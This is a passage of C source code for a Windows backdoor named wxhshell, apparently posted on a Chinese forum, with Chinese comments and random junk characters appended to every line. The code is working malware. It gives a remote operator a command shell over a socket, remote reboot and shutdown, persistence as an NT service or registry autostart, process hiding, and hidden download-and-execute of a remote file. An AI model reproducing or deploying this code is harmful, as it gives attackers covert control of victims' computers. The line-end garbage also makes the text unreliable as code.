      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~+Gh{,f  
    break; WE) *~5  
  } *~^63Nx!  
  // 安装 /s4~Ij`be  
  case 'i': { RDdnOzx  
    if(Install()) Ev7.!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); al2lC#Sy  
    else xgk~%X%K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kq}byv}3I  
    break; ? "I %K%  
    } tl 0|.Q,  
  // 卸载 hE&6;3">  
  case 'r': { es)^^kGj6f  
    if(Uninstall()) tkj-.~@g0'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  >. K  
    else >5FTB e[D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MfL7|b)  
    break; ~Gfytn9x.;  
    } MltO.K!  
  // 显示 wxhshell 所在路径 #gC [L=01  
  case 'p': { ?EFRf~7JP  
    char svExeFile[MAX_PATH]; G[k3`  
    strcpy(svExeFile,"\n\r"); yNI0Do 2  
      strcat(svExeFile,ExeFile); ,6>3aD1w~q  
        send(wsh,svExeFile,strlen(svExeFile),0); =z'(FP5!0  
    break; c""&He4zp  
    } mh3S?Uc  
  // 重启 \bARp z?a  
  case 'b': { jrQ0-D%M d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aC,adNub  
    if(Boot(REBOOT)) p":u]Xgb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;E.]:Ia~  
    else { "6jt$-?  
    closesocket(wsh); QY;(Ny/(y  
    ExitThread(0); n4{%M  
    } +9Tc.3vQ  
    break; =dGp&9K,fw  
    } 5MnP6(3$  
  // 关机 l2Sar1~1  
  case 'd': { JQ%hh&M\0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cACIy yQ  
    if(Boot(SHUTDOWN)) KL_ /f   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !y d B,S  
    else { d0>U-.  
    closesocket(wsh); ce;7  
    ExitThread(0); HP8J\`  
    } CP7Fe{P  
    break; 8B G Z  
    } <U3X4)r  
  // 获取shell @vl$[Z|  
  case 's': { !8G)` '  
    CmdShell(wsh); &Gt{9#  
    closesocket(wsh); 5&n:i,  
    ExitThread(0); uRb48Qy2  
    break; _.JQ h   
  } e4z~   
  // 退出 D>5)',D8xi  
  case 'x': { &Sd5]r@+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YZf{."Opj[  
    CloseIt(wsh); Jw]!x1rF~  
    break; tc'iKJ5)  
    } c]M+|R5  
  // 离开 F=qILwd  
  case 'q': { Jx+6Kq(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); % G= cKM  
    closesocket(wsh); 3RtVFDIZA"  
    WSACleanup(); %E_Y4Oe1  
    exit(1); +@rFbsyJ.  
    break; 5=?P 6I_$G  
        } hQ|mow@Zmz  
  } 5k0iVpjQ  
  } _m9k2[N!  
bY P8  
  // 提示信息 oLoc jj~T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @6 "MhF  
} liS'  
  } 8!2)=8|f  
sOLh'x f.  
  return; O<$w-(  
} k{+cFG\C&  
q9vND[BQ  
// shell模块句柄 ClKWf\(ii6  
int CmdShell(SOCKET sock) Jq0sZ0j  
{ M+&~sX*a  
STARTUPINFO si; RnH?95n?{  
ZeroMemory(&si,sizeof(si)); {?yVA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8w:ay,=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~<_#%R!  
PROCESS_INFORMATION ProcessInfo; S>dHBR#AD  
char cmdline[]="cmd"; V48_aL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j6l1<3j  
  return 0; *O$|,EsY  
} A"7YkOfwH  
WR #XPbk  
// 自身启动模式 lR %#R  
int StartFromService(void) &4OJJ9S  
{ Ar>B_*dr  
typedef struct )|=1;L  
{ V(TtOuv  
  DWORD ExitStatus; I">">  
  DWORD PebBaseAddress; .!4'Y}  
  DWORD AffinityMask; )x!q;^Js9A  
  DWORD BasePriority; 4XAB_Q  
  ULONG UniqueProcessId; kqeEm {I  
  ULONG InheritedFromUniqueProcessId; $s _k/dM~&  
}   PROCESS_BASIC_INFORMATION; M]o]D;N~l  
vl/!w2  
PROCNTQSIP NtQueryInformationProcess; }[eUAGhDU  
iM8Cw/DS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V=ll 9M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9y7hJib  
dz@+ jEV  
  HANDLE             hProcess; x_7$g<n  
  PROCESS_BASIC_INFORMATION pbi; gxO~44"  
0o8`Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7X( 2SI3m  
  if(NULL == hInst ) return 0; ;l%xjMcU  
_`SD G5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =Z.0-C>W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?eTZ>o.p/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }C @xl9S"  
&W>\Vl1  
  if (!NtQueryInformationProcess) return 0; f hK<P_}  
;SXkPs3q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +^9^)Ur|  
  if(!hProcess) return 0; :?f+*  
QP(d77 n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _gVihu  
;.jj>1=Tnl  
  CloseHandle(hProcess); R_j.k3r4d  
~;oXLCL0})  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J;>;K6pW  
if(hProcess==NULL) return 0; q!W,2xqZoq  
gbMA-r:IC  
HMODULE hMod; V n_&q6Pa  
char procName[255]; f8-`bb  
unsigned long cbNeeded; x6K_!L*Fx]  
2Ug_3ZuU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B\ 'rxbH  
7z$53z  
  CloseHandle(hProcess); 3fLdceT  
% (h6m${j  
if(strstr(procName,"services")) return 1; // 以服务启动 ;^:8F  
|gV~U~A]  
  return 0; // 注册表启动 L/fXP@u  
} ;*rGZ?%*  
5%D`y|  
// 主模块 yPmo1|'X>d  
int StartWxhshell(LPSTR lpCmdLine) 3F, M{'q  
{ ;jxX/c  
  SOCKET wsl; 2+ u+9rW  
BOOL val=TRUE; @~gPZm  
  int port=0; d%}?%VH  
  struct sockaddr_in door; >yc),]1~  
(w-"1(  
  if(wscfg.ws_autoins) Install(); K cex%.  
*ssw`}yE'  
port=atoi(lpCmdLine); P_b5`e0O  
MY{Kq;FvRP  
if(port<=0) port=wscfg.ws_port; #TUm&2 +V  
@|\;#$?XW3  
  WSADATA data; O4`.ohAZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zs^zD;zU  
Q=!QCDO(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tV4yBe<``  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dZ" }wKbO  
  door.sin_family = AF_INET; 1]>JMh%X9t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2L^/\!V#  
  door.sin_port = htons(port); e3n^$'/\r  
&LM@xt4"^[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VXCB.C"  
closesocket(wsl); 53/$8=  
return 1; ZWGelZP~  
} b w1s?_P  
{31X  
  if(listen(wsl,2) == INVALID_SOCKET) { )[Rwc#PA;  
closesocket(wsl); G l/3*J  
return 1; 2G|}ENC  
} 4grV2xtX  
  Wxhshell(wsl); &pl)E$Y  
  WSACleanup(); <.g)?nj1  
<Y /3U  
return 0; xe OfofC(l  
W\Il@Je;  
} j*2/[Eq  
Qv,ORm h5  
// 以NT服务方式启动 Wv3p!zW3I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n<EIu  
{ gs}&a3d7k  
DWORD   status = 0; 0<A*I{,4L  
  DWORD   specificError = 0xfffffff; L?N: 4/0;!  
*#p}FB2H#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j}lne^ h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !]"M]tyv\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZLaht(`+  
  serviceStatus.dwWin32ExitCode     = 0; `?&C5*P  
  serviceStatus.dwServiceSpecificExitCode = 0; w)go79  
  serviceStatus.dwCheckPoint       = 0; c&#Q`m  
  serviceStatus.dwWaitHint       = 0; GwgY{-|`  
 pb<eg,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q_/UC#I8  
  if (hServiceStatusHandle==0) return; Oc~<`C~  
X$%[%q8qg  
status = GetLastError(); Hj-n 'XZ  
  if (status!=NO_ERROR) y[f%0*\B  
{ l [ m_<1L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S41S+#7t*  
    serviceStatus.dwCheckPoint       = 0; <F}j;mX  
    serviceStatus.dwWaitHint       = 0; Lz9|"F"V  
    serviceStatus.dwWin32ExitCode     = status; Cjt].XR@  
    serviceStatus.dwServiceSpecificExitCode = specificError; R8.@5g_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c~M'O26bW  
    return; r"L:Mu  
  } 1"A"AMZf  
T*k{^=6"!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s Wj:m)  
  serviceStatus.dwCheckPoint       = 0; {o'(_.{  
  serviceStatus.dwWaitHint       = 0; ]q #"8 =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m{*_%tjN0  
} O~Jf"Ht  
fuf' r>1n  
// 处理NT服务事件,比如:启动、停止 Cs]\3R|D`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J{;\TNkJ  
{ "2!5g)iO  
switch(fdwControl) q.hpnE~#lh  
{ W)2k>cS  
case SERVICE_CONTROL_STOP: KVC18"|f  
  serviceStatus.dwWin32ExitCode = 0; aB&a#^5CI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gW G>}M@  
  serviceStatus.dwCheckPoint   = 0; .$&vSOgd(  
  serviceStatus.dwWaitHint     = 0; nFwg pT  
  { 6[Mu3.T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kr<a6BEv5  
  } ;Uypv|xX  
  return;  fsKZ  
case SERVICE_CONTROL_PAUSE:  ^AwDZX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @ uL4'@Ej  
  break; Rs]Y/9F;{  
case SERVICE_CONTROL_CONTINUE: 1b7Q-elG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 06af{FXsGb  
  break; G`v(4`tA  
case SERVICE_CONTROL_INTERROGATE: F{&0(6^p!  
  break; IjPt JwW`A  
}; QF.M%she+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Pw5n mH c  
} R,hwn2@B  
gfXit$s  
// 标准应用程序主函数 FYaBP;@J%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KjV1->r#  
{ +nFC&~q  
of_Om$  
// 获取操作系统版本 ['c*<f" D2  
OsIsNt=GetOsVer(); 7?Twhs.O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GKXd"8z]  
wx/*un%2  
  // 从命令行安装 aH$DEs  
  if(strpbrk(lpCmdLine,"iI")) Install(); e&pt[W}X%u  
H"JzTo8u  
  // 下载执行文件 F @!9rl'  
if(wscfg.ws_downexe) { meD?<g4n~"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s9b+uUt%  
  WinExec(wscfg.ws_filenam,SW_HIDE); e>HdJ"S`  
} t; #D,gx  
?D@WXE0a  
if(!OsIsNt) { k+u L^teyS  
// 如果时win9x,隐藏进程并且设置为注册表启动 x]"N:t  
HideProc(); L# .vbf  
StartWxhshell(lpCmdLine); Ap(>mUs!i  
} Eye.#~  
else d r=h;[Q'  
  if(StartFromService()) ?&XpwJw:~  
  // 以服务方式启动 8}OII\  
  StartServiceCtrlDispatcher(DispatchTable); [@/x  
else =eeZtj.  
  // 普通方式启动 4^w`] m  
  StartWxhshell(lpCmdLine); QL@}hw.F  
8Vm)jnM  
return 0; /n1H; ~f]  
}
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只看该作者 1 发表于: 2006-10-10
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